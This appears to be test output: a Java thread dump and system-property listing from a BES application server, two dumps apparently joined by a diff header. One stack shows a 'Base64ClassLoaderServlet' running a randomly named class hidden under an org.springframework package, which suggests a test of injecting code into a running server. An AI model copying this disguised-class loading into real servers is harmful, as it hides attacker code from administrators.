at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Spark_3" #83 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
"Reference Handler" #2 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7c50cdbe
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"jmsra-WorkerThread-3" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-1900-4" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-5" #64 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/java.lang.Thread.dumpThreads(Native Method)
at [email protected]/java.lang.Thread.getAllStackTraces(Thread.java:1671)
at org.springframework.EZQui.ErrorCphpbHandler.toString(BasicInfoPrinter.java:26)
at [email protected]/java.lang.String.valueOf(String.java:4220)
at com.bes.enterprise.webtier.connector.CoyoteWriter.print(CoyoteWriter.java:240)
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:225)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
at com.bes.enterprise.web.websocket.server.WsFilter.doFilter(WsFilter.java:49)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
at EmptyFilter.doFilter(EmptyFilter.java:12)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:187)
at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:158)
at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:192)
at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109)
at com.bes.enterprise.webext.BesContextCleanupValve.invoke(BesContextCleanupValve.java:50)
at com.bes.enterprise.webext.BESAppservValve.invoke(BESAppservValve.java:41)
at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:538)
at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:132)
at com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve.invoke(BESSecurityListener.java:95)
at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87)
at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74)
at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:373)
at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:467)
at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61)
at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:956)
at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1947)
at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:47)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1193)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Spark_6" #86 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
"Spark_5" #85 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
"RMI TCP Connection(2)-192.168.215.5" #94 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.Net.poll(Native Method)
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source)
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"bes-deployment-thread-2" #77 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@7305597c
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
at [email protected]/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401)
at [email protected]/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at [email protected]/java.lang.Thread.run(Thread.java:840)
at com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread.run(DeploymentExecutorService.java:89)
"httpWorkerThread-1900-2" #56 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"httpWorkerThread-8080-7" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"RMI Scheduler(0)" #92 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1378c7d7
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7e91e179
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
"RMI TCP Connection(1)-192.168.215.5" #91 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at [email protected]/sun.nio.ch.Net.poll(Native Method)
at [email protected]/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186)
at [email protected]/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290)
at [email protected]/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314)
at [email protected]/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355)
at [email protected]/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808)
at [email protected]/java.net.Socket$SocketInputStream.read(Socket.java:966)
at [email protected]/java.io.BufferedInputStream.fill(BufferedInputStream.java:244)
at [email protected]/java.io.BufferedInputStream.read(BufferedInputStream.java:263)
at [email protected]/java.io.FilterInputStream.read(FilterInputStream.java:82)
at [email protected]/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$473/0x00000008016c27b8.run(Unknown Source)
at [email protected]/java.security.AccessController.executePrivileged(AccessController.java:776)
at [email protected]/java.security.AccessController.doPrivileged(AccessController.java:399)
at [email protected]/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at [email protected]/java.lang.Thread.run(Thread.java:840)
===========================================
StackClassNames:
Base64ClassLoaderServlet
EmptyFilter
ServletNameTestFilter
UrlMappingTestFilter
com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl
com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl
com.bes.ejb.spark.tcp.transport.AcceptorThread
com.bes.ejb.spark.tcp.transport.SelectorThread
com.bes.enterprise.appserv.deployment.DeploymentExecutorService$TerminableThread
com.bes.enterprise.appserver.startup.Bootstrap
com.bes.enterprise.appserver.startup.CommonClassLoader$1
com.bes.enterprise.base.disruptor.BatchEventProcessor
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
com.bes.enterprise.base.disruptor.util.Util
com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread
com.bes.enterprise.server.builder.BesWebModule
com.bes.enterprise.startup.ASMain
com.bes.enterprise.web.crane.AbstractProcessorLight
com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler
com.bes.enterprise.web.crane.http11.Http11Processor
com.bes.enterprise.web.util.net.Acceptor
com.bes.enterprise.web.util.net.NioEndpoint
com.bes.enterprise.web.util.net.NioEndpoint$Poller
com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor
com.bes.enterprise.web.util.net.SocketProcessorBase
com.bes.enterprise.web.util.threads.ThreadPoolExecutor
com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker
com.bes.enterprise.web.util.threads.WorkQueue
com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable
com.bes.enterprise.web.websocket.server.WsFilter
com.bes.enterprise.webext.BESAppservValve
com.bes.enterprise.webext.BESSecurityListener$BESSecurityRequestValve
com.bes.enterprise.webext.BesContextCleanupValve
com.bes.enterprise.webtier.authenticator.AuthenticatorBase
com.bes.enterprise.webtier.connector.CoyoteAdapter
com.bes.enterprise.webtier.connector.CoyoteWriter
com.bes.enterprise.webtier.core.ApplicationFilterChain
com.bes.enterprise.webtier.core.DefaultContextValve
com.bes.enterprise.webtier.core.DefaultEngineValve
com.bes.enterprise.webtier.core.DefaultHostValve
com.bes.enterprise.webtier.core.DefaultWrapperValve
com.bes.enterprise.webtier.valves.ErrorReportValve
com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager
com.bes.org.objectweb.howl.log.LogFileManager$EventManager
org.hsqldb.lib.HsqlTimer
org.hsqldb.lib.HsqlTimer$TaskQueue
org.hsqldb.lib.HsqlTimer$TaskRunner
org.springframework.EZQui.ErrorCphpbHandler
@@ -0,0 +1,375 @@
# Generated At 2026-08-08 09:53:56
SystemProps:
java.specification.version: 17
bes.useNaming: false
sun.jnu.encoding: UTF-8
java.class.path: /app/app.jar
java.vm.vendor: Eclipse Adoptium
sun.arch.data.model: 64
bes.base: /appserver/bes.8080
java.vendor.url: https://adoptium.net/
user.timezone: Etc/UTC
java.vm.specification.version: 17
os.name: Linux
sun.java.launcher: SUN_STANDARD
user.country: US
sun.boot.library.path: /opt/java/openjdk/lib
sun.java.command: /app/app.jar
jdk.debug: release
sun.cpu.endian: little
user.home: /root
user.language: en
java.specification.vendor: Oracle Corporation
java.version.date: 2025-10-21
java.home: /opt/java/openjdk
file.separator: /
com.bes.product.type: SpringBoot
java.vm.compressedOopsMode: Zero based
line.separator:
java.vm.specification.vendor: Oracle Corporation
java.specification.name: Java Platform API Specification
FILE_LOG_CHARSET: UTF-8
com.bes.instanceRoot: /appserver/bes.8080
java.awt.headless: true
java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
java.runtime.version: 17.0.17+10
user.name: root
path.separator: :
os.version: 7.0.14-orbstack-00374-gbbca68e8d741
java.runtime.name: OpenJDK Runtime Environment
file.encoding: UTF-8
java.vm.name: OpenJDK 64-Bit Server VM
java.vendor.version: Temurin-17.0.17+10
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
java.io.tmpdir: /tmp
java.version: 17.0.17
com.bes.installRoot: /appserver/bes.8080
user.dir: /
os.arch: aarch64
java.vm.specification.name: Java Virtual Machine Specification
PID: 1
CONSOLE_LOG_CHARSET: UTF-8
native.encoding: UTF-8
java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib
java.vm.info: mixed mode, sharing
java.vendor: Eclipse Adoptium
java.vm.version: 17.0.17+10
java.specification.maintenance.version: 1
sun.io.unicode.encoding: UnicodeLittle
java.class.version: 61.0
===========================================
ThreadStacks:
"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5b44dbe2
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
at [email protected]/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172)
"AppServer-utility-2" #20 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@513cf310
java.lang.Thread.State: TIMED_WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-7" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"Notification Thread" #12 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Signal Dispatcher" #4 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@198917e9
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
at [email protected]/java.lang.Thread.run(Thread.java:840)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@64ef44f1
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
at [email protected]/java.lang.Thread.run(Thread.java:840)
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
"httpWorkerThread-8080-3" #23 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
at [email protected]/java.lang.Thread.run(Thread.java:840)
"httpWorkerThread-8080-6" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179)
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652)
